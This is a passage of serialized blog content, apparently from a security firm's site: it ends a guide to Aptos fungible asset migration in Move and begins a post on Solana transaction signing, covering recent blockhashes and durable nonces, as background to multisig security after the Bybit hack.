symbol",{"type":21,"tag":198,"props":67551,"children":67552},{"style":211},[67553],{"type":27,"value":3159},{"type":21,"tag":198,"props":67555,"children":67556},{"style":1966},[67557],{"type":27,"value":7395},{"type":21,"tag":198,"props":67559,"children":67560},{"style":211},[67561],{"type":27,"value":67541},{"type":21,"tag":198,"props":67563,"children":67564},{"class":200,"line":323},[67565,67570,67574,67578],{"type":21,"tag":198,"props":67566,"children":67567},{"style":226},[67568],{"type":27,"value":67569}," decimals",{"type":21,"tag":198,"props":67571,"children":67572},{"style":211},[67573],{"type":27,"value":3159},{"type":21,"tag":198,"props":67575,"children":67576},{"style":1966},[67577],{"type":27,"value":7395},{"type":21,"tag":198,"props":67579,"children":67580},{"style":211},[67581],{"type":27,"value":67541},{"type":21,"tag":198,"props":67583,"children":67584},{"class":200,"line":344},[67585,67590,67594,67599,67603,67608],{"type":21,"tag":198,"props":67586,"children":67587},{"style":211},[67588],{"type":27,"value":67589}," string",{"type":21,"tag":198,"props":67591,"children":67592},{"style":683},[67593],{"type":27,"value":4286},{"type":21,"tag":198,"props":67595,"children":67596},{"style":698},[67597],{"type":27,"value":67598},"utf8",{"type":21,"tag":198,"props":67600,"children":67601},{"style":211},[67602],{"type":27,"value":706},{"type":21,"tag":198,"props":67604,"children":67605},{"style":205},[67606],{"type":27,"value":67607},"b\"\"",{"type":21,"tag":198,"props":67609,"children":67610},{"style":211},[67611],{"type":27,"value":7548},{"type":21,"tag":198,"props":67613,"children":67614},{"class":200,"line":365},[67615,67619,67623,67627,67631,67635],{"type":21,"tag":198,"props":67616,"children":67617},{"style":211},[67618],{"type":27,"value":67589},{"type":21,"tag":198,"props":67620,"children":67621},{"style":683},[67622],{"type":27,"value":4286},{"type":21,"tag":198,"props":67624,"children":67625},{"style":698},[67626],{"type":27,"value":67598},{"type":21,"tag":198,"props":67628,"children":67629},{"style":211},[67630],{"type":27,"value":706},{"type":21,"tag":198,"props":67632,"children":67633},{"style":205},[67634],{"type":27,"value":67607},{"type":21,"tag":198,"props":67636,"children":67637},{"style":211},[67638],{"type":27,"value":7548},{"type":21,"tag":198,"props":67640,"children":67641},{"class":200,"line":386},[67642],{"type":21,"tag":198,"props":67643,"children":67644},{"style":211},[67645],{"type":27,"value":1470},{"type":21,"tag":198,"props":67647,"children":67648},{"class":200,"line":408},[67649,67653,67657],{"type":21,"tag":198,"props":67650,"children":67651},{"style":211},[67652],{"type":27,"value":2051},{"type":21,"tag":198,"props":67654,"children":67655},{"style":683},[67656],{"type":27,"value":10402},{"type":21,"tag":198,"props":67658,"children":67659},{"style":211},[67660],{"type":27,"value":12582},{"type":21,"tag":30,"props":67662,"children":67663},{},[67664,67666,67671],{"type":27,"value":67665},"When the linked fungible asset was created, the current ",{"type":21,"tag":194,"props":67667,"children":67669},{"className":67668},[],[67670],{"type":27,"value":61344},{"type":27,"value":67672}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":21,"tag":30,"props":67674,"children":67675},{},[67676,67678,67683,67685,67691,67693,67698],{"type":27,"value":67677},"Users can manually migrate their ",{"type":21,"tag":194,"props":67679,"children":67681},{"className":67680},[],[67682],{"type":27,"value":61506},{"type":27,"value":67684}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":21,"tag":194,"props":67686,"children":67688},{"className":67687},[],[67689],{"type":27,"value":67690},"\u003CCoinStore\u003CCoinType>>",{"type":27,"value":67692}," from the caller. All coins in the ",{"type":21,"tag":194,"props":67694,"children":67696},{"className":67695},[],[67697],{"type":27,"value":61506},{"type":27,"value":67699}," are exchanged and transferred to the new store during the migration.",{"type":21,"tag":187,"props":67701,"children":67703},{"className":3789,"code":67702,"language":3788,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[67704],{"type":21,"tag":194,"props":67705,"children":67706},{"__ignoreMap":7},[67707,67715,67747,67767,67803,67844],{"type":21,"tag":198,"props":67708,"children":67709},{"class":200,"line":201},[67710],{"type":21,"tag":198,"props":67711,"children":67712},{"style":1233},[67713],{"type":27,"value":67714},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":21,"tag":198,"props":67716,"children":67717},{"class":200,"line":217},[67718,67722,67726,67730,67735,67739,67743],{"type":21,"tag":198,"props":67719,"children":67720},{"style":226},[67721],{"type":27,"value":62053},{"type":21,"tag":198,"props":67723,"children":67724},{"style":226},[67725],{"type":27,"value":63020},{"type":21,"tag":198,"props":67727,"children":67728},{"style":226},[67729],{"type":27,"value":7019},{"type":21,"tag":198,"props":67731,"children":67732},{"style":226},[67733],{"type":27,"value":67734}," migrate_to_fungible_store",{"type":21,"tag":198,"props":67736,"children":67737},{"style":211},[67738],{"type":27,"value":3159},{"type":21,"tag":198,"props":67740,"children":67741},{"style":1966},[67742],{"type":27,"value":7395},{"type":21,"tag":198,"props":67744,"children":67745},{"style":211},[67746],{"type":27,"value":7400},{"type":21,"tag":198,"props":67748,"children":67749},{"class":200,"line":236},[67750,67754,67758,67762],{"type":21,"tag":198,"props":67751,"children":67752},{"style":226},[67753],{"type":27,"value":25976},{"type":21,"tag":198,"props":67755,"children":67756},{"style":683},[67757],{"type":27,"value":185},{"type":21,"tag":198,"props":67759,"children":67760},{"style":683},[67761],{"type":27,"value":7953},{"type":21,"tag":198,"props":67763,"children":67764},{"style":226},[67765],{"type":27,"value":67766},"signer\n",{"type":21,"tag":198,"props":67768,"children":67769},{"class":200,"line":260},[67770,67774,67778,67782,67786,67791,67795,67799],{"type":21,"tag":198,"props":67771,"children":67772},{"style":211},[67773],{"type":27,"value":1541},{"type":21,"tag":198,"props":67775,"children":67776},{"style":226},[67777],{"type":27,"value":7156},{"type":21,"tag":198,"props":67779,"children":67780},{"style":1966},[67781],{"type":27,"value":61527},{"type":21,"tag":198,"props":67783,"children":67784},{"style":211},[67785],{"type":27,"value":828},{"type":21,"tag":198,"props":67787,"children":67788},{"style":1966},[67789],{"type":27,"value":67790},"CoinConversionMap",{"type":21,"tag":198,"props":67792,"children":67793},{"style":211},[67794],{"type":27,"value":828},{"type":21,"tag":198,"props":67796,"children":67797},{"style":1966},[67798],{"type":27,"value":7525},{"type":21,"tag":198,"props":67800,"children":67801},{"style":211},[67802],{"type":27,"value":233},{"type":21,"tag":198,"props":67804,"children":67805},{"class":200,"line":281},[67806,67811,67815,67819,67824,67828,67832,67836,67840],{"type":21,"tag":198,"props":67807,"children":67808},{"style":226},[67809],{"type":27,"value":67810}," maybe_convert_to_fungible_store",{"type":21,"tag":198,"props":67812,"children":67813},{"style":211},[67814],{"type":27,"value":3159},{"type":21,"tag":198,"props":67816,"children":67817},{"style":1966},[67818],{"type":27,"value":7395},{"type":21,"tag":198,"props":67820,"children":67821},{"style":211},[67822],{"type":27,"value":67823},">(signer",{"type":21,"tag":198,"props":67825,"children":67826},{"style":683},[67827],{"type":27,"value":4286},{"type":21,"tag":198,"props":67829,"children":67830},{"style":698},[67831],{"type":27,"value":8021},{"type":21,"tag":198,"props":67833,"children":67834},{"style":211},[67835],{"type":27,"value":706},{"type":21,"tag":198,"props":67837,"children":67838},{"style":226},[67839],{"type":27,"value":13759},{"type":21,"tag":198,"props":67841,"children":67842},{"style":211},[67843],{"type":27,"value":8035},{"type":21,"tag":198,"props":67845,"children":67846},{"class":200,"line":302},[67847],{"type":21,"tag":198,"props":67848,"children":67849},{"style":211},[67850],{"type":27,"value":1120},{"type":21,"tag":30,"props":67852,"children":67853},{},[67854,67856,67861,67863,67868],{"type":27,"value":67855},"A curious reader might wonder about the fate of the ",{"type":21,"tag":194,"props":67857,"children":67859},{"className":67858},[],[67860],{"type":27,"value":61506},{"type":27,"value":67862}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":21,"tag":194,"props":67864,"children":67866},{"className":67865},[],[67867],{"type":27,"value":61506},{"type":27,"value":67869}," to ensure consistency.",{"type":21,"tag":66564,"props":67871,"children":67872},{},[67873,67892],{"type":21,"tag":30,"props":67874,"children":67875},{},[67876,67878,67883,67885,67890],{"type":27,"value":67877},"Could an attacker convert their ",{"type":21,"tag":194,"props":67879,"children":67881},{"className":67880},[],[67882],{"type":27,"value":61506},{"type":27,"value":67884}," to a primary fungible store and then register another ",{"type":21,"tag":194,"props":67886,"children":67888},{"className":67887},[],[67889],{"type":27,"value":61506},{"type":27,"value":67891}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":21,"tag":66595,"props":67893,"children":67894},{"v-slot:answer-0":7},[67895],{"type":21,"tag":30,"props":67896,"children":67897},{},[67898],{"type":27,"value":67899},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":21,"tag":22,"props":67901,"children":67902},{"id":3586},[67903],{"type":27,"value":3589},{"type":21,"tag":30,"props":67905,"children":67906},{},[67907,67909,67914],{"type":27,"value":67908},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":21,"tag":194,"props":67910,"children":67912},{"className":67911},[],[67913],{"type":27,"value":61344},{"type":27,"value":658},{"type":21,"tag":30,"props":67916,"children":67917},{},[67918],{"type":27,"value":67919},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":21,"tag":30,"props":67921,"children":67922},{},[67923,67925],{"type":27,"value":67924},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":21,"tag":123,"props":67926,"children":67927},{},[67928],{"type":21,"tag":34,"props":67929,"children":67931},{"href":128,"ariaDescribedBy":67930,"dataFootnoteRef":7,"id":131},[130],[67932],{"type":27,"value":134},{"type":21,"tag":3606,"props":67934,"children":67936},{"className":67935,"dataFootnotes":7},[3609],[67937,67942],{"type":21,"tag":22,"props":67938,"children":67940},{"className":67939,"id":130},[3614],[67941],{"type":27,"value":3617},{"type":21,"tag":71,"props":67943,"children":67944},{},[67945],{"type":21,"tag":75,"props":67946,"children":67947},{"id":3623},[67948,67950,67992],{"type":27,"value":67949},"There are at least four functions that can withdraw a fungible asset:",{"type":21,"tag":138,"props":67951,"children":67952},{},[67953,67963,67972,67982],{"type":21,"tag":75,"props":67954,"children":67955},{},[67956],{"type":21,"tag":34,"props":67957,"children":67961},{"href":67958,"rel":67959,":style":67960},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[38],"color: #007bff;",[67962],{"type":27,"value":64645},{"type":21,"tag":75,"props":67964,"children":67965},{},[67966],{"type":21,"tag":34,"props":67967,"children":67970},{"href":67968,"rel":67969,":style":67960},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[38],[67971],{"type":27,"value":66585},{"type":21,"tag":75,"props":67973,"children":67974},{},[67975],{"type":21,"tag":34,"props":67976,"children":67979},{"href":67977,"rel":67978,":style":67960},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[38],[67980],{"type":27,"value":67981},"primary_fungible_store::withdraw",{"type":21,"tag":75,"props":67983,"children":67984},{},[67985],{"type":21,"tag":34,"props":67986,"children":67989},{"href":67987,"rel":67988,":style":67960},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[38],[67990],{"type":27,"value":67991},"coin::withdraw",{"type":21,"tag":34,"props":67993,"children":67995},{"href":3637,"ariaLabel":3638,"className":67994,"dataFootnoteBackref":7},[3640],[67996],{"type":27,"value":3643},{"type":21,"tag":3645,"props":67998,"children":67999},{},[68000],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":68002},[68003,68004,68005,68008,68013,68014,68015,68016],{"id":61330,"depth":217,"text":61333},{"id":61875,"depth":217,"text":61878},{"id":62435,"depth":217,"text":62438,"children":68006},[68007],{"id":62946,"depth":236,"text":62949},{"id":63203,"depth":217,"text":63206,"children":68009},[68010,68011,68012],{"id":63246,"depth":236,"text":63249},{"id":63951,"depth":236,"text":63954},{"id":65609,"depth":236,"text":65612},{"id":66140,"depth":217,"text":66143},{"id":67121,"depth":217,"text":67124},{"id":3586,"depth":217,"text":3589},{"id":130,"depth":217,"text":3617},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":68021,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68022,"description":68023,"date":68024,"author":6533,"image":68025,"isFeatured":16,"onBlogPage":16,"tags":68027,"body":68028,"_type":3671,"_id":69856,"_source":3673,"_file":69857,"_stem":69858,"_extension":3676},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":68026,"width":6198,"height":6199},"/posts/multisig-security/title.png",[3688],{"type":18,"children":68029,"toc":69847},[68030,68043,68049,68054,68060,68073,68081,68094,68154,68176,68303,68308,68321,68333,68339,68353,68366,68380,68862,68867,68875,68889,68903,69042,69054,69060,69065,69083,69088,69093,69114,69398,69413,69601,69614,69743,69748,69753,69758,69786,69792,69797,69811,69843],{"type":21,"tag":30,"props":68031,"children":68032},{},[68033,68034,68041],{"type":27,"value":534},{"type":21,"tag":34,"props":68035,"children":68038},{"href":68036,"rel":68037},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[38],[68039],{"type":27,"value":68040},"Bybit hack",{"type":27,"value":68042}," raises an interesting question: what can teams do if their signers are compromised?",{"type":21,"tag":22,"props":68044,"children":68046},{"id":68045},"solana-signatures",[68047],{"type":27,"value":68048},"Solana Signatures",{"type":21,"tag":30,"props":68050,"children":68051},{},[68052],{"type":27,"value":68053},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":21,"tag":59,"props":68055,"children":68057},{"id":68056},"recent-blockhash",[68058],{"type":27,"value":68059},"Recent Blockhash",{"type":21,"tag":30,"props":68061,"children":68062},{},[68063,68065,68072],{"type":27,"value":68064},"The most straightforward is with a \"recent blockhash\". From ",{"type":21,"tag":34,"props":68066,"children":68069},{"href":68067,"rel":68068},"https://solana.com/developers/guides/advanced/confirmation",[38],[68070],{"type":27,"value":68071},"the docs",{"type":27,"value":185},{"type":21,"tag":3741,"props":68074,"children":68075},{},[68076],{"type":21,"tag":30,"props":68077,"children":68078},{},[68079],{"type":27,"value":68080},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":21,"tag":30,"props":68082,"children":68083},{},[68084,68086,68093],{"type":27,"value":68085},"The actual constant ",{"type":21,"tag":34,"props":68087,"children":68090},{"href":68088,"rel":68089},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[38],[68091],{"type":27,"value":68092},"is defined here",{"type":27,"value":658},{"type":21,"tag":187,"props":68095,"children":68097},{"className":3789,"code":68096,"language":3788,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[68098],{"type":21,"tag":194,"props":68099,"children":68100},{"__ignoreMap":7},[68101,68109],{"type":21,"tag":198,"props":68102,"children":68103},{"class":200,"line":201},[68104],{"type":21,"tag":198,"props":68105,"children":68106},{"style":1233},[68107],{"type":27,"value":68108},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":21,"tag":198,"props":68110,"children":68111},{"class":200,"line":217},[68112,68116,68120,68125,68129,68133,68137,68142,68146,68150],{"type":21,"tag":198,"props":68113,"children":68114},{"style":249},[68115],{"type":27,"value":14497},{"type":21,"tag":198,"props":68117,"children":68118},{"style":249},[68119],{"type":27,"value":39869},{"type":21,"tag":198,"props":68121,"children":68122},{"style":211},[68123],{"type":27,"value":68124}," MAX_PROCESSING_AGE",{"type":21,"tag":198,"props":68126,"children":68127},{"style":683},[68128],{"type":27,"value":185},{"type":21,"tag":198,"props":68130,"children":68131},{"style":1966},[68132],{"type":27,"value":14538},{"type":21,"tag":198,"props":68134,"children":68135},{"style":683},[68136],{"type":27,"value":979},{"type":21,"tag":198,"props":68138,"children":68139},{"style":211},[68140],{"type":27,"value":68141}," MAX_RECENT_BLOCKHASHES ",{"type":21,"tag":198,"props":68143,"children":68144},{"style":683},[68145],{"type":27,"value":2232},{"type":21,"tag":198,"props":68147,"children":68148},{"style":2540},[68149],{"type":27,"value":8745},{"type":21,"tag":198,"props":68151,"children":68152},{"style":211},[68153],{"type":27,"value":1483},{"type":21,"tag":30,"props":68155,"children":68156},{},[68157,68159,68166,68168,68174],{"type":27,"value":68158},"For those curious, the logic ",{"type":21,"tag":34,"props":68160,"children":68163},{"href":68161,"rel":68162},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[38],[68164],{"type":27,"value":68165},"starts here",{"type":27,"value":68167}," and is quite straightforward to follow, ending in a ",{"type":21,"tag":194,"props":68169,"children":68171},{"className":68170},[],[68172],{"type":27,"value":68173},"is_hash_index_valid",{"type":27,"value":68175}," check.",{"type":21,"tag":187,"props":68177,"children":68179},{"className":3789,"code":68178,"language":3788,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[68180],{"type":21,"tag":194,"props":68181,"children":68182},{"__ignoreMap":7},[68183,68262,68296],{"type":21,"tag":198,"props":68184,"children":68185},{"class":200,"line":201},[68186,68190,68195,68199,68204,68208,68212,68216,68221,68225,68229,68233,68238,68242,68246,68250,68254,68258],{"type":21,"tag":198,"props":68187,"children":68188},{"style":249},[68189],{"type":27,"value":21061},{"type":21,"tag":198,"props":68191,"children":68192},{"style":698},[68193],{"type":27,"value":68194}," is_hash_index_valid",{"type":21,"tag":198,"props":68196,"children":68197},{"style":211},[68198],{"type":27,"value":706},{"type":21,"tag":198,"props":68200,"children":68201},{"style":226},[68202],{"type":27,"value":68203},"last_hash_index",{"type":21,"tag":198,"props":68205,"children":68206},{"style":683},[68207],{"type":27,"value":185},{"type":21,"tag":198,"props":68209,"children":68210},{"style":1966},[68211],{"type":27,"value":6673},{"type":21,"tag":198,"props":68213,"children":68214},{"style":211},[68215],{"type":27,"value":828},{"type":21,"tag":198,"props":68217,"children":68218},{"style":226},[68219],{"type":27,"value":68220},"max_age",{"type":21,"tag":198,"props":68222,"children":68223},{"style":683},[68224],{"type":27,"value":185},{"type":21,"tag":198,"props":68226,"children":68227},{"style":1966},[68228],{"type":27,"value":14538},{"type":21,"tag":198,"props":68230,"children":68231},{"style":211},[68232],{"type":27,"value":828},{"type":21,"tag":198,"props":68234,"children":68235},{"style":226},[68236],{"type":27,"value":68237},"hash_index",{"type":21,"tag":198,"props":68239,"children":68240},{"style":683},[68241],{"type":27,"value":185},{"type":21,"tag":198,"props":68243,"children":68244},{"style":1966},[68245],{"type":27,"value":6673},{"type":21,"tag":198,"props":68247,"children":68248},{"style":211},[68249],{"type":27,"value":1541},{"type":21,"tag":198,"props":68251,"children":68252},{"style":683},[68253],{"type":27,"value":14564},{"type":21,"tag":198,"props":68255,"children":68256},{"style":1966},[68257],{"type":27,"value":12860},{"type":21,"tag":198,"props":68259,"children":68260},{"style":211},[68261],{"type":27,"value":233},{"type":21,"tag":198,"props":68263,"children":68264},{"class":200,"line":217},[68265,68270,68274,68279,68283,68288,68292],{"type":21,"tag":198,"props":68266,"children":68267},{"style":226},[68268],{"type":27,"value":68269}," last_hash_index",{"type":21,"tag":198,"props":68271,"children":68272},{"style":683},[68273],{"type":27,"value":51631},{"type":21,"tag":198,"props":68275,"children":68276},{"style":226},[68277],{"type":27,"value":68278}," hash_index",{"type":21,"tag":198,"props":68280,"children":68281},{"style":683},[68282],{"type":27,"value":9007},{"type":21,"tag":198,"props":68284,"children":68285},{"style":226},[68286],{"type":27,"value":68287}," max_age",{"type":21,"tag":198,"props":68289,"children":68290},{"style":249},[68291],{"type":27,"value":9638},{"type":21,"tag":198,"props":68293,"children":68294},{"style":1966},[68295],{"type":27,"value":14003},{"type":21,"tag":198,"props":68297,"children":68298},{"class":200,"line":236},[68299],{"type":21,"tag":198,"props":68300,"children":68301},{"style":211},[68302],{"type":27,"value":1120},{"type":21,"tag":30,"props":68304,"children":68305},{},[68306],{"type":27,"value":68307},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":21,"tag":3741,"props":68309,"children":68310},{},[68311],{"type":21,"tag":30,"props":68312,"children":68313},{},[68314,68316],{"type":27,"value":68315},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":21,"tag":6137,"props":68317,"children":68318},{},[68319],{"type":27,"value":68320},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":21,"tag":30,"props":68322,"children":68323},{},[68324,68326,68331],{"type":27,"value":68325},"This means an attacker ",{"type":21,"tag":1671,"props":68327,"children":68328},{},[68329],{"type":27,"value":68330},"must use",{"type":27,"value":68332}," a malicious signed transaction within a short timeframe.",{"type":21,"tag":59,"props":68334,"children":68336},{"id":68335},"durable-nonce",[68337],{"type":27,"value":68338},"Durable Nonce",{"type":21,"tag":30,"props":68340,"children":68341},{},[68342,68344,68351],{"type":27,"value":68343},"The second type of signature ",{"type":21,"tag":34,"props":68345,"children":68348},{"href":68346,"rel":68347},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[38],[68349],{"type":27,"value":68350},"is a durable nonce",{"type":27,"value":68352},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":21,"tag":3741,"props":68354,"children":68355},{},[68356],{"type":21,"tag":30,"props":68357,"children":68358},{},[68359,68361],{"type":27,"value":68360},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":21,"tag":6137,"props":68362,"children":68363},{},[68364],{"type":27,"value":68365},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":21,"tag":30,"props":68367,"children":68368},{},[68369,68371,68378],{"type":27,"value":68370},"If we examine the code ",{"type":21,"tag":34,"props":68372,"children":68375},{"href":68373,"rel":68374},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[38],[68376],{"type":27,"value":68377},"for recent blockhash validation",{"type":27,"value":68379},", we can also see the handling for durable nonces.",{"type":21,"tag":187,"props":68381,"children":68383},{"className":3789,"code":68382,"language":3788,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[68384],{"type":21,"tag":194,"props":68385,"children":68386},{"__ignoreMap":7},[68387,68434,68500,68520,68540,68570,68578,68632,68649,68669,68681,68693,68701,68708,68727,68754,68774,68781,68796,68826,68855],{"type":21,"tag":198,"props":68388,"children":68389},{"class":200,"line":201},[68390,68394,68399,68403,68408,68412,68417,68421,68425,68430],{"type":21,"tag":198,"props":68391,"children":68392},{"style":249},[68393],{"type":27,"value":3809},{"type":21,"tag":198,"props":68395,"children":68396},{"style":226},[68397],{"type":27,"value":68398}," recent_blockhash",{"type":21,"tag":198,"props":68400,"children":68401},{"style":683},[68402],{"type":27,"value":979},{"type":21,"tag":198,"props":68404,"children":68405},{"style":226},[68406],{"type":27,"value":68407}," tx",{"type":21,"tag":198,"props":68409,"children":68410},{"style":683},[68411],{"type":27,"value":658},{"type":21,"tag":198,"props":68413,"children":68414},{"style":698},[68415],{"type":27,"value":68416},"message",{"type":21,"tag":198,"props":68418,"children":68419},{"style":211},[68420],{"type":27,"value":14686},{"type":21,"tag":198,"props":68422,"children":68423},{"style":683},[68424],{"type":27,"value":658},{"type":21,"tag":198,"props":68426,"children":68427},{"style":698},[68428],{"type":27,"value":68429},"recent_blockhash",{"type":21,"tag":198,"props":68431,"children":68432},{"style":211},[68433],{"type":27,"value":3404},{"type":21,"tag":198,"props":68435,"children":68436},{"class":200,"line":217},[68437,68441,68445,68449,68453,68458,68462,68466,68471,68475,68480,68484,68488,68492,68496],{"type":21,"tag":198,"props":68438,"children":68439},{"style":640},[68440],{"type":27,"value":643},{"type":21,"tag":198,"props":68442,"children":68443},{"style":249},[68444],{"type":27,"value":28109},{"type":21,"tag":198,"props":68446,"children":68447},{"style":1966},[68448],{"type":27,"value":28114},{"type":21,"tag":198,"props":68450,"children":68451},{"style":211},[68452],{"type":27,"value":706},{"type":21,"tag":198,"props":68454,"children":68455},{"style":226},[68456],{"type":27,"value":68457},"hash_info",{"type":21,"tag":198,"props":68459,"children":68460},{"style":211},[68461],{"type":27,"value":1541},{"type":21,"tag":198,"props":68463,"children":68464},{"style":683},[68465],{"type":27,"value":3174},{"type":21,"tag":198,"props":68467,"children":68468},{"style":226},[68469],{"type":27,"value":68470}," hash_queue",{"type":21,"tag":198,"props":68472,"children":68473},{"style":683},[68474],{"type":27,"value":658},{"type":21,"tag":198,"props":68476,"children":68477},{"style":698},[68478],{"type":27,"value":68479},"get_hash_info_if_valid",{"type":21,"tag":198,"props":68481,"children":68482},{"style":211},[68483],{"type":27,"value":706},{"type":21,"tag":198,"props":68485,"children":68486},{"style":226},[68487],{"type":27,"value":68429},{"type":21,"tag":198,"props":68489,"children":68490},{"style":211},[68491],{"type":27,"value":828},{"type":21,"tag":198,"props":68493,"children":68494},{"style":226},[68495],{"type":27,"value":68220},{"type":21,"tag":198,"props":68497,"children":68498},{"style":211},[68499],{"type":27,"value":668},{"type":21,"tag":198,"props":68501,"children":68502},{"class":200,"line":236},[68503,68507,68511,68516],{"type":21,"tag":198,"props":68504,"children":68505},{"style":1966},[68506],{"type":27,"value":15616},{"type":21,"tag":198,"props":68508,"children":68509},{"style":211},[68510],{"type":27,"value":706},{"type":21,"tag":198,"props":68512,"children":68513},{"style":1966},[68514],{"type":27,"value":68515},"CheckedTransactionDetails",{"type":21,"tag":198,"props":68517,"children":68518},{"style":211},[68519],{"type":27,"value":233},{"type":21,"tag":198,"props":68521,"children":68522},{"class":200,"line":260},[68523,68528,68532,68536],{"type":21,"tag":198,"props":68524,"children":68525},{"style":226},[68526],{"type":27,"value":68527}," nonce",{"type":21,"tag":198,"props":68529,"children":68530},{"style":683},[68531],{"type":27,"value":185},{"type":21,"tag":198,"props":68533,"children":68534},{"style":1966},[68535],{"type":27,"value":28561},{"type":21,"tag":198,"props":68537,"children":68538},{"style":211},[68539],{"type":27,"value":257},{"type":21,"tag":198,"props":68541,"children":68542},{"class":200,"line":281},[68543,68548,68552,68557,68561,68566],{"type":21,"tag":198,"props":68544,"children":68545},{"style":226},[68546],{"type":27,"value":68547}," lamports_per_signature",{"type":21,"tag":198,"props":68549,"children":68550},{"style":683},[68551],{"type":27,"value":185},{"type":21,"tag":198,"props":68553,"children":68554},{"style":226},[68555],{"type":27,"value":68556}," hash_info",{"type":21,"tag":198,"props":68558,"children":68559},{"style":683},[68560],{"type":27,"value":658},{"type":21,"tag":198,"props":68562,"children":68563},{"style":698},[68564],{"type":27,"value":68565},"lamports_per_signature",{"type":21,"tag":198,"props":68567,"children":68568},{"style":211},[68569],{"type":27,"value":4296},{"type":21,"tag":198,"props":68571,"children":68572},{"class":200,"line":302},[68573],{"type":21,"tag":198,"props":68574,"children":68575},{"style":211},[68576],{"type":27,"value":68577}," })\n",{"type":21,"tag":198,"props":68579,"children":68580},{"class":200,"line":323},[68581,68585,68589,68593,68597,68601,68605,68610,68614,68619,68623,68627],{"type":21,"tag":198,"props":68582,"children":68583},{"style":211},[68584],{"type":27,"value":16582},{"type":21,"tag":198,"props":68586,"children":68587},{"style":640},[68588],{"type":27,"value":4122},{"type":21,"tag":198,"props":68590,"children":68591},{"style":640},[68592],{"type":27,"value":16591},{"type":21,"tag":198,"props":68594,"children":68595},{"style":249},[68596],{"type":27,"value":28109},{"type":21,"tag":198,"props":68598,"children":68599},{"style":1966},[68600],{"type":27,"value":28114},{"type":21,"tag":198,"props":68602,"children":68603},{"style":211},[68604],{"type":27,"value":32310},{"type":21,"tag":198,"props":68606,"children":68607},{"style":226},[68608],{"type":27,"value":68609},"nonce",{"type":21,"tag":198,"props":68611,"children":68612},{"style":211},[68613],{"type":27,"value":828},{"type":21,"tag":198,"props":68615,"children":68616},{"style":226},[68617],{"type":27,"value":68618},"previous_lamports_per_signature",{"type":21,"tag":198,"props":68620,"children":68621},{"style":211},[68622],{"type":27,"value":9647},{"t